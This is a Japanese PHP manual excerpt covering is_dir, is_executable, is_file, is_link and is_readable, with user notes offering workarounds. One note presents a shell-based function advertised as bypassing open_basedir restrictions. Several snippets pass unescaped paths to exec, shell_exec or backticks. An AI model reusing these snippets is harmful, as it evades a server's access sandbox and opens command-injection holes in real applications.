?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(true)

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • chdir() - ディレクトリを変更する
  • dir() - ディレクトリクラスのインスタンスを返す
  • opendir() - ディレクトリハンドルをオープンする
  • is_file() - 通常ファイルかどうかを調べる
  • is_link() - ファイルがシンボリックリンクかどうかを調べる

User Contributed Notes

jerome dot pros at gmail dot com 31-Jan-2019 08:40
Note that is_dir() also works with ftp://.

For example :

<?php
if(is_dir('ftp://user:pass@host/www/path/to/your/folder')) {
    // Your code.
}
?>

But note that if the connexion fails due to invalide credentials, this will consider that the folder doesn't exist and will return FALSE.
citizenmarco at gmail dot com 03-Jul-2016 05:25
Note that there quite a few articles on the net that imply that commands like is_dir, opendir, readdir cannot read paths with spaces.

On a linux box, THAT is not an issue.

Sample test code;

 $dir = "Images/Soma ALbum Name with spaces";

echo $dir."<br/>";

// Open a directory, and read its contents
if (is_dir($dir)){
  echo $dir."<br/>"; // will not appear if above fails
    if ($dh = opendir($dir)){
      echo $dir."<br/>"; // will not appear if above fails
      while (($file = readdir($dh)) !== false){
        echo "filename:" . $file . "<br>";
        echo $dir."<br/>"; // will not appear if above fails
      }
      closedir($dh);
    }
}
Bjrn K. 14-Mar-2016 03:17
Note that this functions follows symbolic links. It will return true if the file is actually a symlink that points to a directory.

An example:
<php
symlink(".", "testlink");
var_dump(is_dir("testlink"));
unlink("testlink");
?>

Prints out:
bool(true)

(Windows Note: Under recent versions of Windows you can set symlinks as long as you're administrator, but you cannot remove directory symlinks with "unlink()", you will have to use "rmdir testlink" from the shell to get rid of it.)
thomas at thomasnoest dot nl 15-Nov-2015 11:39
Note that on Linux is_dir returns FALSE if a parent directory does not have +x (executable) set for the php process.
jonlulf at gmail dot com 18-Sep-2015 02:26
My solution to the problem that you must include the full path to make "is_dir" work properly as a complete example:

    <? // findfiles.php  -  what is in directory "videoarchive"
    $dir    = 'images/videoarchive/'; // path from top
    $files = scandir($dir);
    $files_n = count($files);

    $i=0;
    while($i<=$files_n){
        // "is_dir" only works from top directory, so append the $dir before the file
        if (is_dir($dir.'/'.$files[$i])){
            $MyFileType[$i] = "D" ; // D for Directory
        } else{
            $MyFileType[$i] = "F" ; // F for File
        }
        // print itemNo, itemType(D/F) and itemname
        echo '<br>'.$i.'. '. $MyFileType[$i].'. ' .$files[$i] ;
        $i++;
    }
    ?>
niceuser at live dot com 10-Apr-2013 07:20
PITFALL in sub dir processing

After struggeling with a sub-dir processing (some subdirs were skipped) AND reading the posts, I realized that virutally no-one clearly told what were wrong.

The common traverse dir code was:
-----------------------------------------

opendir("myphotos"); // Top dir to process from (example)

while (false !== ($fname = readdir($h_dir))) { // process current dir (read a directory entry)

   if ($fname{0} == '.') continue; // skip dirs . and .. by first char test

   if (is_dir($fname)) call_own_subdir_process;  // process this subdir by calling a routine

   }

PROBLEM IS :

The "is_dir()" must have the FULL PATH or it will skip some dirs. So the above code need to INSERT THE PATH before the filename. This would give this change in above...

   if (is_dir("myphotos\" . $fname)) call_own_subdir_process;  // skip subdirs

The pitfall really was, that without full path some subdirs were found...hope this clears all up
Victor 13-Mar-2013 03:37
If you are using Mac, or others systems that store information about the directory layout and etc, the function:

   function empty_dir($dir) {
        if (($files = @scandir($dir)) && count($files) <= 3)
            return true;
        else
            return false;
    }

Must have the count($files) comparing with the number of hidden files!

For example, I'm using Mac and the empty directory shows me three files: ".", ".." and ".DS_Store", so if I am planning to put the website online on my Mac, I've to count in the ".DS_Store" file!
digitalaudiorock at gmail dot com 09-Jun-2010 12:48
Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default.  With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false.  Adding the noserverino option to the CIFS mount will prevent this.  This may only occur on 32 systems but I don't have a 64 bit install to test against.
vstoykov at consultant dot bg 23-Apr-2009 03:43
When trying (no 'pear') to enumerate mounted drives on a win32  platform (Win XP SP3, Apache/2.2.11, PHP/5.2.9), I used:

<?php
function echo_win_drives() {

  for($c='A'; $c<='Z'; $c++)
    if(is_dir($c . ':'))
      echo $c . ': ';
}
?>

which yielded:
A: C: D: E: F: G: H: I:
alanguir at detroitchamber dot com 28-Jan-2009 09:02
When I run a scandir I always run a simple filter to account for file system artifacts (especially from a simple ftp folder drop) and the "." ".." that shows up in every directory:

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>
Btx 26-Sep-2008 03:03
<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)
jasoneisen at gee mail 29-Aug-2008 08:53
An even better (PHP 5 only) alternative to "Davy Defaud's function":

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>

NOTE: you should obviously be checking beforehand if $dir is actually a directory, and that it is readable, as only relying on this you would assume that in both cases you have a non-empty readable directory.
Anonymous 17-Dec-2007 11:51
One note regarding checking for empty directories :
>>echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
This does not work correctly on Linux.
The '.' and '..' will always be returned even if no files are present in the directory.
danr at cvisual dot com dot com 18-Jul-2007 02:54
Running PHP 5.2.0 on Apache Windows, I had a problem (likely the same one as described by others) where is_dir returned a False for directories with certain permissions even though they were accessible.

Strangely, I was able to overcome the problem with a more complete path. For example, this only displays "Works" on subdirectories with particular permissions (in this directory about 1 out of 3):

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        if(is_dir($f)) {
            echo "<b>Works:" . $f . "</b>";
        }
}

However, this works properly for all directories:

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        $dName = "./albums/mydir/" . $f;
        if(is_dir($dName)) {
            echo "<b>Works:" . $dName . "</b>";
        }
}

I don't understand the hit-and-miss of the first code, but maybe the second code can help others having this problem.
gecko4 at gmail dot com 24-Feb-2007 09:03
Here is another way to test if a directory is empty, which I think is much simpler than those posted below:

<?php
$dir = 'directory';
echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
?>
Eric 24-Oct-2006 01:53
Ah ha!  Maybe this is a bug, or limitation to be more precise, of php. See http://bugs.php.net/bug.php?id=27792

A workaround is posted on the page (above) and seems to work for me:

function is_dir_LFS($path){
  return (('d'==substr(exec("ls -dl '$path'"),0,1))?(true):(false));
}

PS: I'm using PHP 4.3.10-16, posts report this problem up to 5.0
puremango dot co dot uk at gmail dot com 08-Feb-2005 11:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
    // bypasses open_basedir restrictions of is_dir and fileperms
    $tmp_cmd = `ls -dl $dir`;
    $dir_flag = $tmp_cmd[0];
    if($dir_flag!="d")
    {
        // not d; use next char (first char might be 's' and is still directory)
        $dir_flag = $tmp_cmd[1];
    }
    return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
02-Feb-2005 04:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com 01-Feb-2005 12:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
    $arrfiles = array();
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            chdir($dir);
            while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != "..") {
                    if (is_dir($file)) {
                        $arr = scan_Dir($file);
                        foreach ($arr as $value) {
                            $arrfiles[] = $dir."/".$value;
                        }
                    } else {
                        $arrfiles[] = $dir."/".$file;
                    }
                }
            }
            chdir("../");
        }
        closedir($handle);
    }
    return $arrfiles;
}

?>
sly at noiretblanc dot org 28-May-2004 10:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
    if ((fileperms("$file") & 0x4000) == 0x4000)
        return TRUE;
    else
        return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.


ファイルが実行可能かどうかを調べる

  • ≪ is_dir
  • is_file ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルが実行可能かどうかを調べる

is_executable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_executable — ファイルが実行可能かどうかを調べる

説明

is_executable ( string $filename ) : bool

ファイルが実行可能かどうかを調べます。

パラメータ

filename

ファイルへのパス。

返り値

ファイルが存在し、かつそれが実行可能な場合に true、 エラー時に false を返します。

例

例1 is_executable() の例

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
    echo $file.' は実行可能です';
} else {
    echo $file.' は実行可能ではありません';
}

?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_file() - 通常ファイルかどうかを調べる
  • is_link() - ファイルがシンボリックリンクかどうかを調べる

User Contributed Notes

Anonymous 30-Sep-2020 02:41
Under windows, it seems to returns always false for directories.

I.e

<?php
$dir = __DIR__;
$result = is_executable($dir) ? 'true' : 'false';

if($result){
  echo $result;
}
?>

So do NOT use this to check if a folder is transversable because it will be system dependant code.
nick at NOSPAM dot ogredata dot com 29-Jan-2020 06:33
This function returns the value for the process PHP is executing under.

/var/somebody/files was only executable by owner (700).

It contained world-readable files, but without execute permission, PHP could not access the directory to download the files.

is_executable() returned false.

Making the dir world-executable (701) gave access to PHP.  The download worked. And is_executable() returned true.

I assume that if I added PHP to the group of the folder and gave the group executable permission, that would also work.
divinity76 at gmail dot com 24-May-2019 09:41
is_executable() does not check the PATH environment variable, so if your current working dir is /dir/ and you have /bin/ in your PATH env and the file /bin/ffmpeg exists, then you can still run shell_exec("ffmpeg"), but is_executable("ffmpeg") will return false.

if you're looking for a version of is_executable that also considers the PATH environment variable, then try this:

<?php

function is_executable_pathenv(string $filename): bool
{
    if (is_executable($filename)) {
        return true;
    }
    if ($filename !== basename($filename)) {
        return false;
    }
    $paths = explode(PATH_SEPARATOR, getenv("PATH"));
    foreach ($paths as $path) {
        if (is_executable($path . DIRECTORY_SEPARATOR . $filename)) {
            return true;
        }
    }
    return false;
}
telezhkin at gmail dot com 01-May-2019 11:03
Find no mention of this, but is_executable returns result for owner permissions only (not for group or other).
Shyammakwana.me 06-Aug-2016 06:38
For windows users,

It will return TRUE for EXE extensions. I have checked for MSI, but it returns FALSE.


通常ファイルかどうかを調べる

  • ≪ is_executable
  • is_link ≫
  • PHP Manual
  • ファイルシステム 関数
  • 通常ファイルかどうかを調べる

is_file

(PHP 4, PHP 5, PHP 7, PHP 8)

is_file — 通常ファイルかどうかを調べる

説明

is_file ( string $filename ) : bool

指定したファイルが通常のファイルかどうかを調べます。

パラメータ

filename

ファイルへのパス。

返り値

ファイルが存在し、かつそれが通常のファイルである場合に true、 それ以外の場合に false を返します。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

例

例1 is_file() の例

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

上の例の出力は以下となります。

bool(true)
bool(false)

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • is_link() - ファイルがシンボリックリンクかどうかを調べる
  • SplFileInfo

User Contributed Notes

alex at magemore dot com 08-Sep-2016 03:08
it doesn't work for file over 8Gb. returns false when there actually a file.
it's probably connected to 32bit integer problem and filesize
www.ip4t.net - abdelrahman nourallah 04-Dec-2015 11:37
sometimes this function does not work because permission ,

you can use this function that check if the path has dot in last will return true .

public function isFile($file) {
        $f = pathinfo($file, PATHINFO_EXTENSION);
        return (strlen($f) > 0) ? true : false;
    }

isfile('http://www.ip4t.net/image.jpg');

you should replace a string between '' with your file path to check
Anonymous 02-Mar-2014 09:13
Please be aware wildcards do not work as one might expect.

<?php
$file = '*.*';

if ( is_file($file) ) {
  echo( $file . ' is a regular file' );
} else {
  echo( $file . ' is not a regular file' );
}
?>

The above snippet suggests that *.* is a regular file. It does not sound regular to me. I would expect is_file() to return FALSE.
sarken at free dot fr 13-Aug-2013 04:42
I see, is_file not work properly on specifical file in /dev (linux)
look :

root@boofh:/data# php -r "var_dump(is_file('/dev/core'));"
bool(true)
root@boofh:/data# php -r "var_dump(is_file('/proc/kcore'));"
bool(true)

root@boofh:/data# ls -alh /proc/kcore
-r-------- 1 root root 128T Aug 13 18:39 /proc/kcore

OR FIND do not detect regular file.
root@boofh:/data# find /dev/ -type f
root@boofh:/data#

// version of php :
root@boofh:/data# php -v
PHP 5.4.4-14+deb7u3 (cli) (built: Jul 17 2013 14:54:08)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
david at bruchmann-web dot de 10-May-2013 05:36
Today I got the in the comments already described behaviour that between directory and file can't be distinguished by is_file() or is_dir().
A dirty and incomplete hack is below, incomplete because it never includes links and I never tested what happens when a directory is not allowed to be read.

$items = scandir($dir);
foreach ($items as $item){
    if ($item!='.' && $item!='..'){
        $deep = @scandir($dir.'/'.$item);
        echo ($deep ? '[DIR] ':'[FILE] '.$item.nl2br(PHP_EOL);
    }
}
Anonymous 06-Feb-2012 07:44
Note that is_file() returns false if the parent directory doesn't have +x set for you; this make sense, but other functions such as readdir() don't seem to have this limitation. The end result is that you can loop through a directory's files but is_file() will always fail.
Anonymous 18-Jun-2011 11:47
is_file doesn't recognize files whose filenames contain strange characters like czech ? or russian characters in general.

I've seen many scripts that take it for granted that a path is a directory when it fails is_file($path). When trying to determine whether a path links to a file or a dir, you should always use is_dir after getting false from is_file($path). For cases like described above, both will fail.
don dot duvall at deduvall dot com 11-Sep-2009 02:55
I have noticed that using is_file on windows servers (mainly for development) to use a full path c:\ doesn't always work.

I have had to use
C:/foldertowww/site/file.ext

so I preform an str_replace('\\', '/', $path)
Sometimes I have had the \ instead of / work. (this is using apache2 on XP)

but for sure you cannot have mixed separators.
ca dot redwood at gmail dot com 23-Apr-2009 12:24
this is a simple way to find specific files instead of using is_file().
this example is made for mac standards, but easily changed for pc.

<?php
function isfile($file){
    return preg_match('/^[^.^:^?^\-][^:^?]*\.(?i)' . getexts() . '$/',$file);
    //first character cannot be . : ? - subsequent characters can't be a : ?
    //then a . character and must end with one of your extentions
    //getexts() can be replaced with your extentions pattern
}

function getexts(){
    //list acceptable file extensions here
    return '(app|avi|doc|docx|exe|ico|mid|midi|mov|mp3|
                 mpg|mpeg|pdf|psd|qt|ra|ram|rm|rtf|txt|wav|word|xls)';
}

echo isfile('/Users/YourUserName/Sites/index.html');
?>
Kevin Gregull 13-Nov-2008 08:14
This Function deletes everything in a defined Folder:
Works with PHP 4 and 5.

<?php
  function deletefolder($path)
  {
    if ($handle=opendir($path))
    {
      while (false!==($file=readdir($handle)))
      {
        if ($file<>"." AND $file<>"..")
        {
          if (is_file($path.'/'.$file))
          {
            @unlink($path.'/'.$file);
          }
          if (is_dir($path.'/'.$file))
          {
            deletefolder($path.'/'.$file);
            @rmdir($path.'/'.$file);
          }
        }
      }
    }
  }
?>
rigrace at swbell dot net 09-Oct-2008 09:48
It took me a day or so to figure out that is_file() actually looks for a valid $ existing path/file in string form. It is not performing a pattern-like test on the parameter given. Its testing to see if the given parameter leads to a specific  existing 'name.ext' or other (non-directory) file type object.
sy well-known-sign damla.net 23-Mar-2008 04:23
In 32 bit environments, these functions including is_file(), stat() filesize() will not work due to PHPs default integer being signed. So anything above ~2.1 billion bytes you actually get a negative value.

This is actually a bug but I dont think there is an easy workaround. Try to switch to 64 bit.
gizmo at gizmo dot sk 22-Feb-2008 01:50
here is a workaround for the file size limit. uses bash file testing operator, so it may be changed to test directories etc.  (see http://tldp.org/LDP/abs/html/fto.html for possible test operators)

<?php
function is_file_lfs($path){
    exec('[ -f "'.$path.'" ]', $tmp, $ret);
    return $ret == 0;
}
?>
cristian dot ban at neobytesolutions com 27-Jun-2007 01:46
regarding note from rehfeld dot us :

In my experience the best( and easiest ) way to find the extension of a file is :

<?php

// use this when you are sure it actually has an extension.
$extension = end(explode(".", $file_name));

?>

or

<?php

// this one will also check if it actually has an extension
$parts = explode(".", $file_name);
if (is_array($parts) && count($parts) > 1)
    $extension = end($parts);

?>
tatarynowicz at gmail dot com 17-Oct-2006 07:35
An easy way not to have to choose between hard-coding full paths and using relative paths is either via this line:

<?php
// in the bootstrap file
define('DIR_ROOT', dirname(__FILE__));
// in other files, prefix paths with the constant
require(DIR_ROOT . '/relative/to/bootstrap.php');
?>

or if you have to use a relative path:

<?php
require(dirname(__FILE__) . '/relative/to/this_file.php');
?>

This way all your paths will be absolute, yet you can move the application anywhere in the filesystem.

BTW, each successive call to dirname takes you one step up in the directory tree.

<?php
echo __FILE__;
// /www/site.com/public/index.php
echo dirname(__FILE__);
// /www/site.com/public
echo dirname(dirname(__FILE__));
// /www/site.com
?>
Jonathan Shaltz 14-Oct-2005 10:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola 30-Aug-2005 06:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
08-Mar-2005 09:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com 25-Oct-2004 11:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us 03-Sep-2004 03:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :   filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
    $pos = strrpos($document, '.');
    if (false !== $pos && strlen($document) > $pos + 1) {
        $ext = substr($document, $pos + 1);
    }
}

?>
rlh at d8acom dot com 12-Feb-2003 05:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
    $ext=explode('.',$document);
    if($document != '.' && $document != '..' && $ext[1])
    {
                       'Do something to file...'
              }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at 27-Mar-2002 11:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org 13-Dec-2001 08:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).


ファイルがシンボリックリンクかどうかを調べる

  • ≪ is_file
  • is_readable ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルがシンボリックリンクかどうかを調べる

is_link

(PHP 4, PHP 5, PHP 7, PHP 8)

is_link — ファイルがシンボリックリンクかどうかを調べる

説明

is_link ( string $filename ) : bool

指定したファイルがシンボリックリンクかどうかを調べます。

パラメータ

filename

ファイルへのパス。

返り値

filename が存在し、かつシンボリックリンクであれば true、 それ以外の場合に false を返します。

例

例1 シンボリックリンクの作成と、ファイルがシンボリックリンクかどうかの確認

<?php
$link = 'uploads';

if (is_link($link)) {
    echo(readlink($link));
} else {
    symlink('uploads.php', $link);
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • is_file() - 通常ファイルかどうかを調べる
  • readlink() - シンボリックリンク先を返す

User Contributed Notes

msaladna at apisnetworks dot com 21-Sep-2017 03:55
Careful when using is_link() in thread-safe builds with the self-referential directory entry ".". On ZTS builds is_link("/home/symlink/.") will return true whereas it returns false on non-ZTS builds.
gggeek 18-Sep-2013 08:53
On windows, take care that is_link returns false for Junctions.
Ways of telling apart a directory from a junction include doing both a stat() and and lstat() call and checking if there is any difference in the results
PaulE 02-Jun-2009 02:03
A workaround for Windows LNK files:

<?php

function _is_link($filename)
{
    if(is_link($filename))
        return true;

    $ext = substr(strrchr($filename, '.'), 1);
    if(strtolower($ext) == 'lnk')
    {
        return (_readlink($filename) ? true : false);
    }

    return false;
}

function _readlink($file)
{
    if(file_exists($file))
    {
        if(is_link($file))
        {
            return readlink($file);
        }

        // Get file content
        $handle = fopen($file, "rb");
        $buffer = array();

        while(!feof($handle))
        {
            $buffer[] = fread($handle, 1);
        }

        fclose($handle);

        // Test magic value and GUID
        if(count($buffer) < 20)
            return false;
        if($buffer[0] != 'L')
            return false;
        if((ord($buffer[4]) != 0x01) ||
           (ord($buffer[5]) != 0x14) ||
           (ord($buffer[6]) != 0x02) ||
           (ord($buffer[7]) != 0x00) ||
           (ord($buffer[8]) != 0x00) ||
           (ord($buffer[9]) != 0x00) ||
           (ord($buffer[10]) != 0x00) ||
           (ord($buffer[11]) != 0x00) ||
           (ord($buffer[12]) != 0xC0) ||
           (ord($buffer[13]) != 0x00) ||
           (ord($buffer[14]) != 0x00) ||
           (ord($buffer[15]) != 0x00) ||
           (ord($buffer[16]) != 0x00) ||
           (ord($buffer[17]) != 0x00) ||
           (ord($buffer[18]) != 0x00) ||
           (ord($buffer[19]) != 0x46))
        {
            return false;
        }

        $i = 20;
        if(count($buffer) < ($i + 4))
            return false;

        $flags = ord($buffer[$i]);
        $flags = $flags | (ord($buffer[++$i]) << 8);
        $flags = $flags | (ord($buffer[++$i]) << 16);
        $flags = $flags | (ord($buffer[++$i]) << 24);

        $hasShellItemIdList = ($flags & 0x00000001) ? true : false;
        $pointsToFileOrDir = ($flags & 0x00000002) ? true : false;

        if(!$pointsToFileOrDir)
            return false;

        if($hasShellItemIdList)
        {
            $i = 76;
            if(count($buffer) < ($i + 2))
                return false;

            $a = ord($buffer[$i]);
            $a = $a | (ord($buffer[++$i]) << 8);

        }

        $i = 78 + 4 + $a;
        if(count($buffer) < ($i + 4))
            return false;

        $b = ord($buffer[$i]);
        $b = $b | (ord($buffer[++$i]) << 8);
        $b = $b | (ord($buffer[++$i]) << 16);
        $b = $b | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b;
        if(count($buffer) < ($i + 4))
            return false;

        $c = ord($buffer[$i]);
        $c = $c | (ord($buffer[++$i]) << 8);
        $c = $c | (ord($buffer[++$i]) << 16);
        $c = $c | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b + $c;
        if(count($buffer) < ($i +1))
            return false;

        $linkedTarget = "";
        for(;$i < count($buffer); ++$i)
        {
            if(!ord($buffer[$i]))
                break;

            $linkedTarget .= $buffer[$i];
        }

        if(empty($linkedTarget))
            return false;

        return $linkedTarget;
    }

    return false;
}

if(_is_link('test.lnk'))
{
    echo _readlink('test.lnk');
}
?>
foobarfarter 18-Oct-2008 03:06
@radon8472 at hotmail dot com
The windows .lnk-things are real files, the explorer only treats them like links. Try to open one with Win+R->"notepad X:\Path\Visiblefilename.lnk You will see much 0-Bytes, but the linked path is displayed right on the screen. It should be possible to do the same by php.
radon8472 at hotmail dot com 31-Jul-2008 09:38
This function returns "false" for windows *.lnk files (tested under windows XP).

filetype also returns "file" an not "link" like expected.

I didn`t find a solution for this.
mbirth at webwriters dot de 20-May-2008 08:24
To find out whether a file is hardlinked to another filename, check the number of links of the stat() output. If it is >1 there is another filename for that file.

To find out whether two filenames are pointing to the same file, check the inode number of those 2 filenames. If it is equal, the 2 filenames are hardlinked together.
neverpanic->gmail[com] 30-Dec-2006 02:50
For me (Debian Sarge VPS) is_link returns true even for directories if you don't add a trailing slash to the filename.
<?php
if ($dir{strlen($dir)-1} == '/') $dir = substr($dir, 0, -1);
is_link($dir);
?>
This works for me. It can't detect a symlink somewhere in a complete path, though (i.e. is_link(/www/somedir/file.php) will return false, just as is_link(/www/) would)
brendy at gmail dot com 05-May-2006 07:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
    set checkFileStr to "{$filename}"
    set checkFile to checkFileStr as POSIX file
    try
        tell application "Finder"
            if original item of file checkFile exists then
                set targetFile to (original item of file checkFile) as alias
                set posTargetFile to POSIX path of targetFile as text
                get posTargetFile
            end if
        end tell
    end try
    -- END APPLESCRIPT --
HEREDOC;
$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
andudi at gmx dot ch 02-Jun-2002 10:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick


ファイルが存在し、読み込み可能であるかどうかを知る

  • ≪ is_link
  • is_uploaded_file ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルが存在し、読み込み可能であるかどうかを知る

is_readable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_readable — ファイルが存在し、読み込み可能であるかどうかを知る

説明

is_readable ( string $filename ) : bool

ファイルが存在し、読み込み可能であるかどうかを調べます。

パラメータ

filename

ファイルへのパス。

返り値

filename で指定したファイルあるいはディレクトリが存在し、 それが読み込み可能であれば true、それ以外の場合に false を返します。

例

例1 is_readable() の例

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
    echo 'このファイルは読み込み可能です';
} else {
    echo 'このファイルは読み込み可能ではありません';
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

PHP は、Web サーバーを実行しているユーザー ID (たいていは 'nobody') でファイルにアクセスすることを覚えておいてください。 PHP 5.1.5 より前のバージョンでは、セーフモードの制限は働きません。

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

注意:

チェックは、実効ユーザーではなく実ユーザーの UID/GID で行います。

この関数は、ディレクトリに対しても true を返すかもしれません。 ファイルとディレクトリを区別するには is_dir() を使いましょう。

参考

  • is_writable() - ファイルが書き込み可能かどうかを調べる
  • file_exists() - ファイルまたはディレクトリが存在するかどうか調べる
  • fgets() - ファイルポインタから 1 行取得する

User Contributed Notes

arikan134 at gmail dot com 17-Jan-2016 12:12
is readable recursively. Check all sub directories and files readable
<?php
function is_readable_r($dir) {
    if (is_dir($dir)) {
        if(is_readable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_readable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_readable($dir));

    }
}

?>
pgl at yoyo dot org 31-Jul-2009 07:13
Note that is_readable() will return false for streams, eg, php://stdin.
jo at durchholz dot org 30-Jan-2006 09:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
26-Jul-2005 07:08
